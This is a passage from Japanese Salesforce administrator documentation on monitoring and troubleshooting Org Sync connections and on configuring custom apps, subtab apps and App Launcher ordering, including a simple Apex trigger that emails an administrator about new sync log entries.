b. [接続] タブに移動します。
c. [接続名] 列で、組織同期接続をクリックします。
d. [公開オブジェクト] セクションで、[公開 / 非公開] をクリックします。
e. 非公開にするオブジェクトの選択を解除します。
f. [保存] をクリックします。
g. 双方向同期が実装されている場合、セカンダリ組織で前のステップを繰り返します。

2. 項目を非公開にする手順は、次のとおりです。
a. プライマリ組織にログインします。
b. [接続] タブに移動します。
c. [接続名] 列で、組織同期接続をクリックします。
d. [公開オブジェクト] セクションで、非公開にする項目が含まれるオブジェクト名の横にある [編集] をク

リックします。
e. 非公開にする項目の選択を解除します。
f. [保存] をクリックします。
g. 双方向同期が実装されている場合、セカンダリ組織で前のステップを繰り返します。
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組織同期の管理

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期環境の健全度を追跡します。

組織同期環境の監視
接続詳細ページには、組織同期接続の最新状況を把握できる重要な情報が含
まれます。
組織同期レコードキューのアクション
プライマリ組織とセカンダリ組織間でレコードの更新が送信されるときに、
接続詳細ページの [組織同期レコードキュー] にレコードが表示されます。
キューの [アクション] 列に、レコードで実行されている複製アクションの
リストが表示されます。
組織の同期ログトリガを使用した同期エラーの追跡
組織の同期ログで常に同期の進行状況に関する最新情報を入手し、失敗を追跡できるように Apex トリガを
作成できます。
組織の同期ログに関するレポートの作成
組織同期のシステム管理者は、カスタムレポートタイプを作成して、組織の同期ログで同期の失敗につい
て常に最新情報を入手できるようにすることができます。
同期の問題の診断
組織同期ユーザがプライマリ組織とセカンダリ組織間で作業をしているときに、問題が発生することがあ
ります。原因を調べて問題を解決するには、次のトラブルシューティング手順に従います。
組織同期接続の一時停止
同期エラーが繰り返し発生する場合や、組織で大幅な変更を行う必要がある場合、プライマリ組織とセカ
ンダリ組織間の接続を一時停止できます。接続が一時停止になっている間に行われた更新は、接続を再開
するまで同期されません。

組織同期環境の監視

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

接続詳細ページには、組織同期接続の最新状況を把握できる重要な情報が含ま
れます。
組織間でレコードの更新が送信されているとき、その更新は、リンクされた組
織が受信するまで組織同期接続の詳細ページの [組織同期レコードキュー] に表
示されます。このキューには送信元の同期アクションが表示されるため、更新
はセカンダリ組織に送信されている間、プライマリ組織のキューに表示されま
す。
更新の同期が失敗した場合、システムによって再試行されます。キューの [次
の再試行日]列には、システムの再試行のタイミングが表示されます。複数回の
再試行の後、更新は組織の同期ログに記録され、キューには表示されなくなり
ます。ログには、更新の初回再試行時のエントリと、更新の最後の再試行の失敗時または成功時のエントリが
表示されます。ユーザの同期とメタデータの同期には再試行プロセスがありません。これらの同期は失敗する
と、すぐに組織の同期ログに表示されます。
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接続詳細ページの [組織の同期ログ] セクションには、最新のログエントリと、Salesforce の [組織の同期ログ] タ
ブにある完全なログへのリンクが表示されます。各ログエントリには、影響を受けたレコード、更新のタイ
プ、ログに記録された時刻、状況、エラーコード (エラーの場合) が表示されます。[状況] 項目には、最初の
試行で更新の同期が失敗したときに [再試行中]、複数回更新した後に [失敗] または [解決済み] が表示され
ます。

ヒント:

• イベントの状況が表示されない場合は、[状況]項目を組織の同期ログのページレイアウトに追加しま
す。

• イベントの詳細やエラーの説明 (エラーの場合) を表示するには、イベント番号をクリックします。

一般的に、複製エラーは未解決の参照関係が原因で発生します。この問題が修復されると、次回更新時にレ
コードがレコードキューに再追加されます。キューの [アクション] 列で、失敗した操作の詳細を確認できま
す。

組織同期レコードキューのアクション

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

プライマリ組織とセカンダリ組織間でレコードの更新が送信されるときに、接
続詳細ページの [組織同期レコードキュー] にレコードが表示されます。キュー
の [アクション]列に、レコードで実行されている複製アクションのリストが表
示されます。
キュー内のレコードには、次のいずれかのアクションが表示されます。

定義アクション

指定した一括同期日の後に作成または
更新されたレコードがリンクされた組
織にコピーされています。

一括同期

ユーザレコードがリンクされた組織に
コピーされています。

一括同期ユーザ

組織同期接続がユーザによって再開さ
れました。

接続管理の再開

組織同期接続がユーザによって一時停
止されました。ユーザが接続を再開す

接続管理の一時停止

ると、更新が [組織同期レコードキュー]

に追加されて処理されます。

組織同期接続が無効化されました。接続の無効化

両方の組織が使用できるようになった
ため、組織同期接続が自動的に再開さ
れました。

接続の再開

リンクされた組織のいずれかが使用で
きなくなったため、組織同期接続が自

接続の一時停止
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定義アクション

動的に一時停止されました。接続が再開されると、更
新が [組織同期レコードキュー] に追加されて処理され
ます。

組織同期接続所有者が更新されたため、現在その更新
がリンクされた組織に送信されています。

接続の更新

項目が未公開になったため、現在リンクされた組織で
未公開にされています。

項目の対応付けの削除

項目名が更新されたため、現在その更新がリンクされ
た組織に送信されています。

項目の対応付け名の更新

このレコードの項目定義が更新されたため、現在その
更新がリンクされた組織に送信されています。

項目の対応付けの更新

レコードがリンクされた組織にコピーされています。汎用的な挿入

レコードが更新されたため、現在その更新がリンクさ
れた組織に送信されています。

汎用的な更新

種別、項目、または値の対応付けが更新されたため、
現在 Salesforce システム管理者にメールで通知していま
す。

対応付けの更新メール

レコードのパートナーエンティティ ID がないため、
検索されています (アクションは不要)。

パートナー ID の欠落

レコードが削除されたため、現在リンクされた組織で
削除されています。

複製の削除

レコードが復元されたため、現在リンクされた組織で
復元されています。

複製の復元

種別の対応付け (カスタムオブジェクト定義など) が削
除されたため、現在リンクされた組織で削除されてい
ます。

種別の対応付けの削除

種別の対応付け名が更新されたため、現在その更新が
リンクされた組織に送信されています。

種別の対応付け名の更新

公開オブジェクトが登録されたため、現在その更新が
リンクされた組織に送信されています。

種別の対応付けによるパートナー登録の設定

種別の対応付けが更新されたため、現在その更新がリ
ンクされた組織に送信されています。

種別の対応付けの更新

ユーザがリンクされた組織にコピーされています。ユーザの更新/挿入

選択リスト値の対応付けが削除されたため、現在リン
クされた組織で削除されています。

値の対応付けの削除
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組織の同期ログトリガを使用した同期エラーの追跡

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織の同期ログで常に同期の進行状況に関する最新情報を入手し、失敗を追跡
できるように Apex トリガを作成できます。
組織の同期ログでのトリガの使用例をいくつか示します。
• 過去 24 時間に 10 件を超える新しいエントリがログに表示された場合に、シ

ステム管理者にメールを送信するトリガを作成する。
• アカウントのログにエントリが表示された場合に、アカウントに「要レ

ビュー」フラグを設定するワークフロールールをトリガする。
組織の同期ログのトリガを作成するには、[設定] から、[クイック検索] ボック
スに「組織の同期ログ」と入力し、[トリガ] を選択します。

例: 次のトリガは、新しいエントリがログに表示されるとシステム管理者
にメールを送信します。太字のテキストを自分のメールアドレスに置き換
えてください。
trigger NotifyOrgSyncEntry on PartnerNetWorkSyncLog (after
insert) {

Messaging.SingleEmailMessage mail = new
Messaging.SingleEmailMessage();

mail.setToAddresses(new String[] {'test@salesforce.com'});

mail.setReplyTo('test@salesforce.com');
mail.setSubject('New Org Sync Log Entry');
mail.setPlainTextBody('There is a new entry in the Org

Sync Log.');
mail.setUseSignature(false);
Messaging.sendEmail(new

Messaging.SingleEmailMessage[]{mail});
}

関連トピック:

組織の同期ログに関するレポートの作成
Apex トリガの管理

組織の同期ログに関するレポートの作成

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期のシステム管理者は、カスタムレポートタイプを作成して、組織の同
期ログで同期の失敗について常に最新情報を入手できるようにすることができ
ます。
カスタムレポートタイプを作成するとき、組織同期でサポートされるオブジェ
クト (取引先や取引先責任者など) に対して、組織の同期ログオブジェクトを主
オブジェクトまたは第 2 オブジェクトとして使用することができます。次のよ
うな方法でレポートを使用して、組織同期環境の健全度を監視できます。
• 組織の同期ログオブジェクトに関するカスタムレポートを作成し、特定の日

付範囲からすべてのログエントリを表示する。
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• 先月のケースに関連するレコードのすべてのログエントリを表示するカスタムレポートをケースオブジェ
クトで作成する。

• 次の内容を表示するレポートでダッシュボードを作成する。
– 過去 24 時間のログエントリ数
– 項目種別ごとのログエントリ数

メモ: ログには送信中の同期イベントが表示されるため、作業している組織によっては同じレポートに異
なる結果が表示されます。

例:  Salesforce システム管理者の Robert は、ある取引先に関連するレコードについて先週のすべてのログエ
ントリを表示するカスタムレポートタイプを作成する必要があります。
• Robert は、「Org Sync Log Account Entries」というカスタムレポートタイプを作成し、[その他のレポート]

フォルダに保存します。
• 「各「A」レコードには関連する「B」レコードが 1 つ以上必要です」リレーションを使用して、取引

先をレポートタイプの最上位オブジェクト、組織の同期ログを子オブジェクトに設定します。
• [レポートで選択可能な項目] で、レポートタイプに追加する項目を選択します。
• 新しいカスタムレポートタイプを使用してレポートを作成し、範囲として [先週] を選択します。

同期の問題の診断

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期ユーザがプライマリ組織とセカンダリ組織間で作業をしているときに、
問題が発生することがあります。原因を調べて問題を解決するには、次のトラ
ブルシューティング手順に従います。

同期されたレコードがリンクされた組織に存在しない場合...

対処方法考えられる理由

レコードが作成された組織で、接続詳
細ページの [組織同期レコードキュー]

を確認します。レコードがキュー内に

レコードがリンクされた組織にコピー
中のプロセスに含まれている。

ある場合、そのレコードはリンクされ
た組織にコピー中であることを示しま
す。
レコードが正常にコピーされるかコ
ピーが失敗すると、レコードはキュー
から削除されます。コピーが失敗した
場合、組織の同期ログに追加されま
す。詳細はログを参照してください。

レコードのオブジェクト種別が公開お
よび登録されていない。

1. オブジェクトを公開および登録し
ます。
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対処方法考えられる理由

2. 一括同期を実行し、そのオブジェクト種別のレコー
ドをリンクされた組織にコピーします。

レコードの親レコードがリンクされた組織にコピーさ
れなかった。

1. 親レコードのオブジェクト種別が公開および登録
されていることを確認します。

2. レコード詳細ページの [外部共有] 関連リストで、
リンクされた組織に親レコードを手動で転送しま
す。

親レコードが転送されたら、子のみのレコード (ケー
スコメントなど) は自動転送されますが、その他の子
レコード (取引先責任者など) は手動で転送する必要が
あります。

組織のメタデータが一致するように更新します。レコードのオブジェクトのメタデータがプライマリ組
織とセカンダリ組織間で一致しない。たとえば、特定
の項目またはレコードタイプが一方の組織に存在しな
い。

一括同期は、一括同期の実行時に選択した日付の後に
作成または変更されたレコードのみをコピーします。

一括同期の実行時に選択した期日の後にレコードが変
更または作成されていなかった。

選択できる最も早い期日は、現在の日付の 1 年前で
す。必要に応じて、[外部共有] 関連リストで、レコー
ドを手動でリンクされた組織に転送できます。

セカンダリ組織を使用できない場合...

対処方法考えられる理由

メンテナンスが終了するまで待ちます。セカンダリ組
織が再度使用可能になったら、プライマリ組織による
レコードの更新の送信が再開されます。

セカンダリ組織のメンテナンス中は、プライマリ組織
から送信されるすべてのレコードの更新が一時停止さ
れ、組織同期レコードキューに多数の項目が蓄積され
る可能性がある。

新規ユーザがリンクされた組織にコピーされていない場合...

対処方法考えられる理由

複製に失敗したユーザは組織の同期ログに表示されま
す。リンクされた組織にそのユーザを追加するには、

新規プロファイルがユーザに割り当てられ、そのプロ
ファイルがリンクされた組織で作成されていない。

まずユーザに割り当てられたプロファイルを追加しま
す。
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対処方法考えられる理由

1. リンクされた組織でプロファイルを作成し、両方
の組織で同じ名前になっていることを確認します。

2. ユーザが作成された組織で、ユーザレコードに移
動します。ユーザレコードで、[編集] を選択して
[保存] をクリックし、その複製をトリガします。

標準 Salesforce ユーザライセンスを持つユーザのみが同
期されます。

ユーザが標準 Salesforce ユーザライセンスを持っていな
い。

関連トピック:

レコードの手動転送

組織同期接続の一時停止

エディション

使用可能なエディション:
[Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、および
[Developer] Edition

ユーザ権限

組織同期接続を一時停止
および再開する
• 「接続の管理」

同期エラーが繰り返し発生する場合や、組織で大幅な変更を行う必要がある場
合、プライマリ組織とセカンダリ組織間の接続を一時停止できます。接続が一
時停止になっている間に行われた更新は、接続を再開するまで同期されません。
組織間の接続を一時停止する手順は、次のとおりです。
1. 組織同期接続の詳細ページに移動します。
2. ページの上部で、[サスペンド] をクリックします。
3. [OK] をクリックします。
4. 双方向同期を使用しており、更新を両方向とも一時停止する場合は (推奨)、

リンクされた組織でも前の手順を実行します。一方向の接続のみを一時停止
した場合は、同期エラーが生じることがあります。

組織間の接続を再開する手順は、次のとおりです。
1. 組織同期接続の詳細ページに移動します。
2. ページの上部で、[再開] をクリックします。
3. 更新を両方向とも一時停止した場合は、リンクされた組織でも前の手順を実行します。
接続が再開されると、Salesforceがキューにある更新をリンクされた組織に送信します。キュー内のすべての更
新を処理するために必要な時間は、その量によって異なります。

重要: キューが満杯になるほど、2 つの組織が同期状態に戻るまでに時間がかかります。同期の問題を最
小限に抑えるために、できるだけ早く接続を再開します。

関連トピック:

組織同期接続を一時停止する前に
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組織同期接続を一時停止する前に

エディション

使用可能なエディション:
[Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、および
[Developer] Edition

必要に応じて、Salesforce のプライマリ組織とセカンダリ組織間の組織同期接続
を一時停止できます。接続を一時停止する前に、プロセスのしくみを確認して
ください。
接続を一時停止する必要がある状況は?

次のような場合、接続を一時停止します。
• 極めて大量の同期の失敗が生じ、問題を診断して修正する必要がある場

合。
• 一方または両方の組織に大幅な変更を行う必要があり、データを正常に

同期できない場合。
接続を一時停止するとユーザにどのような影響がありますか?

接続が一時停止になっても、ほとんどのユーザには何ら変更はありません。「接続の管理」権限があるユー
ザは、組織同期接続の詳細ページが一部変更されます。
• [再開] ボタンが [サスペンド] ボタンに変わります。
• 接続履歴ログに最近の [接続管理の一時停止] イベントが表示されます。
• [接続所有者] 項目およびメタデータ、ユーザ、および監査項目を同期するオプションは更新可能です

が、接続が再開されるまで更新がリンクされた組織に送信されません。
• 接続が一時停止された時間に応じて、キューに通常以上の更新が溜まっていることがあります。
• [公開オブジェクト] および [登録オブジェクト] 関連リストは非表示になります。
また、接続所有者および接続を一時停止したユーザに、キューのイベント数を記したメールが 1 日 2 回送
信されます。

接続を一時停止するとどうなりますか?

接続が一時停止になっている間に行われたすべての更新が組織同期レコードキューに追加されます。キュー
にある更新は、接続が再開されるまでリンクされた組織に送信されません。

重要: キューが満杯になるほど、2 つの組織が同期状態に戻るまでに時間がかかります。同期の問題を
最小限に抑えるために、できるだけ早く接続を再開します。

関連トピック:

組織同期接続の一時停止
同期の問題の診断
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独自の Salesforce アプリケーションの構築

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アプリケーションを参照
する
• 「設定・定義を参照す

る」

アプリケーションを管理
する
• 「アプリケーションの

カスタマイズ」

アプリケーションは項目のコレクションであり、連動して特定の機能を提供し
ます。Salesforce アプリケーションには、Classic アプリケーションと Lightning アプ
リケーションの 2 種類があります。Classic アプリケーションは、Salesforce Classic

で作成、管理します。Lightning アプリケーションは Lightning Experience で作成、
管理します。どちらの種類のアプリケーションも、お客様のニーズに合わせて
カスタマイズできます。
Classic アプリケーションは標準タブとカスタムタブのコレクションであり、次の
ものが含まれます。
• ホーム、メイン Chatter フィード、グループ、人など、ほとんどの標準オブ

ジェクト
• 組織のカスタムオブジェクト
• Visualforce タブ
• Lightning コンポーネントタブ
• Visualforce タブを介したキャンバスアプリケーション
• Web タブ
Lightning アプリケーションは項目のコレクションであり、Classic アプリケーショ
ンリストのすべての内容、Lightning ページのタブ、Lightning Voice などのユーティ
リティが含まれます。Lightning アプリケーションではアプリケーションのロゴを
カスタマイズできます。また、ナビゲーションバーの色をカスタマイズしてブ
ランド設定を拡張できます。
Lightning Experience では Classic アプリケーションを Lightning アプリケーションに
アップグレードすることもできますが、アップグレード後はアプリケーション
の 2 つのバージョンをそれぞれの環境で個別に管理する必要があります。
Salesforce では、セールスおよびサービスなどの標準アプリケーションを提供しています。
さらに、項目を新しいカスタムアプリケーションにグループ化することで、独自のオンデマンドアプリケー
ションを開発することもできます。カスタムアプリケーションは、項目の表示ラベル、説明、順序付きリスト
で構成され、多くの場合、タブが含まれます。カスタムアプリケーションにカスタムロゴとブランド設定を追
加することもできます。
Salesforce Classic では、カスタムアプリケーションが Force.com アプリケーションメニューに表示されます。この
メニューは各ページの上部に表示されるドロップダウンリストです。
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Lightning Experience では、使用可能なカスタムアプリケーションがアプリケーションランチャー ( ) で見つか
ります。

アプリケーションを選択すると、画面が切り替わって、そのアプリケーションの内容が反映されます。たとえ
ば、商談を含むアプリケーションから商談を含まないアプリケーションに切り替えると、商談項目は表示され
なくなります。アプリケーションを選択したときに、別のデフォルトの表示タブを表示することもできます。

6493

独自の Salesforce アプリケーションの構築コードではなくてクリックによる Salesforce の拡張



アプリケーションはプロファイルと関連付けられています。プロファイルは、使用できるアプリケーション、
および表示または非表示になるタブを制御します。

サブタブアプリケーションとは?

アプリケーションは、アプリケーション機能を提供するために 1 つの単位として機能するタブのグループ
です。同様に、サブタブアプリケーションは、Chatter プロファイルページに表示されるタブの集合です。
サブタブアプリケーションには、デフォルトタブとカスタムタブの両方を含めることができます。
アプリケーションのデフォルトの並び替え順の設定
Salesforceシステム管理者は、組織のユーザに表示するSalesforce標準アプリケーション、カスタムアプリケー
ション、および接続アプリケーションのデフォルトの並び替え順を制御します。その後、ユーザはアプリ
ケーションランチャーのアプリケーションを好みに合わせて再配置できます。アプリケーションランチャー
に表示しないようにアプリケーションを非表示にすることもできます。
アプリケーションランチャーをデフォルトのランディングページに設定
再設計されたアプリケーションランチャーをSalesforceにログインしたときのデフォルトのランディングペー
ジとして表示することで、Salesforce Identity ユーザは必要なアプリケーションに簡単にアクセスできます。
Force.com ホームページ
Force.com ホームページには、アプリケーションを作成および管理するためのオプションがあります。
Force.com システムの概要メッセージの設定

関連トピック:

アプリケーションのデフォルトの並び替え順の設定

サブタブアプリケーションとは?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

アプリケーションは、アプリケーション機能を提供するために 1 つの単位とし
て機能するタブのグループです。同様に、サブタブアプリケーションは、Chatter

プロファイルページに表示されるタブの集合です。サブタブアプリケーション
には、デフォルトタブとカスタムタブの両方を含めることができます。
プロファイルページに表示されるタブは、ユーザのコンテキストに応じて異な
ります。サブタブアプリケーションは、ユーザのプロファイルページなどの特
定のページに使用できるさまざまなタブのセットです。
次のデフォルトサブタブアプリケーションは、ユーザのコンテキストに応じて
表示されるタブを決定します。

ユーザへの表示条件サブタブアプリケーション

ユーザが内部組織内の別のユーザを表
示しているとき

プロファイル (他のユーザ)

ユーザが内部組織内の自分自身のプロ
ファイルを表示しているとき

プロファイル (自分)
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ユーザへの表示条件サブタブアプリケーション

ユーザがコミュニティ内で別のユーザを表示している
とき。コミュニティが有効な場合にのみ表示されま
す。

コミュニティのプロファイル (他のユーザ)

ユーザがコミュニティ内で自分自身のプロファイルを
表示しているとき。コミュニティが有効な場合にのみ
表示されます。

コミュニティのプロファイル (自分)

メモ: エンドユーザは、サブタブアプリケーションの表示をカスタマイズできません。システム管理者
は、[タブの設定] の [タブを隠す] オプションを使用して、サブタブアプリケーション内でタブを非表示
にすることができます。ユーザには、[デフォルトで非表示] および [デフォルトで表示] に設定されたタ
ブを表示できます。

サブタブアプリケーションの管理
ユーザのプロファイルページのサブタブアプリケーションを表示およびカスタマイズできます。
サブタブアプリケーションの表示の制御
サブタブアプリケーションを設定したら、プロファイルページで特定のタブをどのユーザに表示するかを
指定できます。

関連トピック:

ヒント集: Chatter プロファイルページのカスタマイズ
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サブタブアプリケーションの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アプリケーションを参照
する
• 「設定・定義を参照す

る」

アプリケーションを管理
する
• 「アプリケーションの

カスタマイズ」

ユーザのプロファイルページのサブタブアプリケーションを表示およびカスタ
マイズできます。
[設定] から、[クイック検索]ボックスに「アプリケーション」と入力し、[アプリ
ケーション] を選択して、組織のサブタブアプリケーションを表示します。
次の操作を実行できます。
• サブタブアプリケーションの詳細を表示するには、[サブタブアプリケーショ

ン] セクションで名前をクリックします。これにより、アプリケーションで
使用できるタブ (リリース前のものも含む) などのプロパティが表示されま
す。詳細を表示するには、[含まれるタブ] リストのカスタムタブをクリック
します。

• サブタブアプリケーションのプロパティを変更するには、[編集] をクリック
し、サブタブアプリケーションに含めるタブの選択、表示順序の変更、[デ
フォルトの表示タブ] の設定を行います。

メモ: システム管理者は、権限セットまたはプロファイルの設定を変更
して、各タブへのユーザアクセスを制限できます。これにより、特定の
タブの使用を一部のユーザには許可し、他のユーザには禁止することが
できます。

関連トピック:

サブタブアプリケーションとは?
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サブタブアプリケーションの表示の制御

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アプリケーションを参照
する
• 「設定・定義を参照す

る」

アプリケーションを管理
する
• 「アプリケーションの

カスタマイズ」

サブタブアプリケーションを設定したら、プロファイルページで特定のタブを
どのユーザに表示するかを指定できます。
サブタブアプリケーション内でタブの表示を制御する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. 次のいずれかの操作を実行します。

• 元のプロファイルユーザインターフェース — 変更するプロファイルの横
にある [編集]をクリックし、[タブの設定] セクションまでスクロールしま
す。

• 拡張プロファイルユーザインターフェース — 変更するプロファイルをク
リックし、[オブジェクト設定]をクリックします。編集するオブジェクト
をクリックし、[編集] をクリックします。

メモ: 一部のプロファイル (Chatter 外部ユーザや Chatter Free ユーザなど)

には、サブタブアプリケーションの表示権限がありません。

3. タブの設定を変更します。
エンドユーザは、サブタブアプリケーションの表示をカスタマイズできませ
ん。システム管理者は、[タブの設定] の [タブを隠す] オプションを使用し
て、サブタブアプリケーション内でタブを非表示にすることができます。
ユーザには、[デフォルトで非表示] および [デフォルトで表示] に設定され
たタブを表示できます。

4. (元のプロファイルユーザインターフェースのみ) ユーザのタブのカスタマイ
ズを自分が指定するタブ表示設定にリセットするには、[各ユーザのマイディ
スプレイのカスタマイズに変更を反映させる] を選択します。

5. [保存] をクリックします。

関連トピック:

サブタブアプリケーションとは?

サブタブアプリケーションの管理
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アプリケーションのデフォルトの並び替え順の設定
エディション

使用可能なエディション:
Lightning Experience と
Salesforce Classic の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce システム管理者は、組織のユーザに表示する Salesforce 標準アプリケー
ション、カスタムアプリケーション、および接続アプリケーションのデフォル
トの並び替え順を制御します。その後、ユーザはアプリケーションランチャー
のアプリケーションを好みに合わせて再配置できます。アプリケーションラン
チャーに表示しないようにアプリケーションを非表示にすることもできます。
アプリケーションには、Salesforce マーケティングアプリケーションやサービス
アプリケーションなどの Salesforce 標準アプリケーションと、システム管理者が
組織用に作成したカスタムアプリケーションがあります。接続アプリケーショ
ンは、Gmail、Google ドライブ、Microsoft Office 365など、ユーザの業務を支援する
ためにインストールするサードパーティアプリケーションです。

Salesforce Classic でのアプリケーションメニューとアプリケーションランチャー
の並び替え
アプリケーションメニューとアプリケーションランチャーにアプリケーショ
ンを表示する順序を変更できます。アプリケーションメニューは、Salesforce Classicの各ページの右上隅に表
示されるドロップダウンリストです。有効にした場合、ドロップダウンリストにアプリケーションラン
チャーが表示されます。アプリケーションランチャーのアプリケーションは、大きなタイルで表示され、
Salesforce 標準アプリケーション、カスタムアプリケーション、および接続アプリケーションにリンクしま
す。
Lightning Experience でのアプリケーションランチャーのアプリケーションの並び替え
Salesforceシステム管理者は、Lightning Experienceのアプリケーションランチャーに表示されるアプリケーショ
ンに関して、組織のデフォルトの表示設定と順序を変更できます。その後、ユーザは好みに合わせてアプ
リケーションランチャーのユーザ個人の表示を並び替えることができます。
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Salesforce Classicでのアプリケーションメニューとアプリケーションランチャー
の並び替え

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アプリケーションを参照
する
• 「設定・定義を参照す

る」

アプリケーションを管理
する
• 「アプリケーションの

カスタマイズ」

アプリケーションメニューとアプリケーションランチャーにアプリケーション
を表示する順序を変更できます。アプリケーションメニューは、Salesforce Classic

の各ページの右上隅に表示されるドロップダウンリストです。有効にした場合、
ドロップダウンリストにアプリケーションランチャーが表示されます。アプリ
ケーションランチャーのアプリケーションは、大きなタイルで表示され、Salesforce

標準アプリケーション、カスタムアプリケーション、および接続アプリケーショ
ンにリンクします。
1. [設定] から、[クイック検索]ボックスに「アプリケーションメニュー」と入力

し、[アプリケーションメニュー] を選択します。
2. アプリケーションメニュー項目のリストから、アプリケーションをドラッグ

して順序を変更します。変更はすぐ有効になります。
3. 必要に応じて、[アプリケーションランチャーで表示]または[アプリケーショ

ンランチャーで非表示] をクリックすると、組織のすべてのユーザに対して
アプリケーションランチャーの個々のアプリケーションを表示または非表示
にできます。

アプリケーションメニューは、組織にインストールされたすべてのアプリケー
ションをリストします。ただし、アプリケーションランチャーでユーザに表示
されるアプリケーションは異なります。Salesforce システム管理者が各アプリケー
ションの表示設定とユーザの権限を制御します。

関連トピック:

独自の Salesforce アプリケーションの構築
他の Salesforce アプリケーションへのアクセス
アプリケーションランチャー
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Lightning Experience でのアプリケーションランチャーのアプリケーションの並
び替え

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アプリケーションを参照
する
• 「設定・定義を参照す

る」

アプリケーションを管理
する
• 「アプリケーションの

カスタマイズ」

Salesforceシステム管理者は、Lightning Experienceのアプリケーションランチャーに
表示されるアプリケーションに関して、組織のデフォルトの表示設定と順序を
変更できます。その後、ユーザは好みに合わせてアプリケーションランチャー
のユーザ個人の表示を並び替えることができます。
アプリケーションランチャーには、ユーザが使用可能なSalesforceアプリケーショ
ンと、Salesforce システム管理者が組織にインストールした接続アプリケーショ
ンが表示されます。
1. [設定] から、[クイック検索]ボックスに「アプリケーションメニュー」と入力

し、[アプリケーションメニュー] を選択します。
2. アプリケーションメニュー項目のリストから、アプリケーションをドラッグ

して順序を変更します。変更はすぐ有効になります。
3. 必要に応じて、[アプリケーションランチャーで表示]または[アプリケーショ

ンランチャーで非表示] をクリックすると、組織のすべてのユーザに対して
アプリケーションランチャーの個々のアプリケーションを表示または非表示
にできます。

組織にインストールされたすべてのアプリケーションがアプリケーションメ
ニュー項目リストに表示されます。ただし、ユーザのアプリケーションメニュー
とアプリケーションランチャーに表示されるアプリケーションは、各アプリケー
ションの表示設定とユーザ権限によって異なります。ユーザに表示されるのは、
プロファイルや権限セットに従って表示が許可されるアプリケーションのみで
す。
接続アプリケーションとサービスプロバイダをアプリケーションランチャーに
表示するには、それぞれの開始 URL をアプリケーションマネージャで指定しま
す。

関連トピック:

独自の Salesforce アプリケーションの構築
他の Salesforce アプリケーションへのアクセス
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アプリケーションランチャーをデフォルトのランディングページに
設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

再設計されたアプリケーションランチャーを Salesforce にログインしたときのデ
フォルトのランディングページとして表示することで、Salesforce Identity ユーザ
は必要なアプリケーションに簡単にアクセスできます。

メモ: 次の手順は、Lightning Experienceで使用できます。Lightning Experienceで
は、画面上部のナビゲーションバーの左側に[アプリケーションランチャー]

アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示さ
れません。

1. [設定] から、[クイック検索]ボックスに「アプリケーションマネージャ」と入
力し、[アプリケーションマネージャ] を選択します。

2. [新規 Lightning アプリケーション] をクリックし、新規 Lightning アプリケー
ションウィザードを実行します。
[選択済みの項目] に [アプリケーションランチャー] タブのみを追加します。

3. ユーザが初めてログインするときに、アプリケーションランチャーをデフォルトにします。
a. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。
b. プロファイルを選択し、[カスタムアプリケーション設定] セクションまでスクロールします。
c. Lightning アプリケーションの横にある [デフォルト] を選択します。

4. ログアウトしてから再度ログインします。
新しい Lightning アプリケーションがナビゲーションバーとアプリケーションランチャーに表示されます。

Force.com ホームページ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.comを除くすべ
てのエディション

ユーザ権限

Force.com ホームページに
アクセスする
• 「アプリケーションの

カスタマイズ」

Force.com ホームページには、アプリケーションを作成および管理するためのオ
プションがあります。
Force.com ホームページには、[設定] からアクセスします。
• 参照または検索が可能な左サイドバーでは、すべての設定アクション、タス

ク、およびツールにアクセスできます。
• [始めましょう] ボックスには、ワンステップで基本アプリケーションを作成

するためのツールとアプリケーションの拡張および管理に関する情報へのリ
ンクがあります。以前に消去した場合、このボックスは表示されません。

• [最近使ったデータ] リストには、最近表示、編集、または作成したメタデー
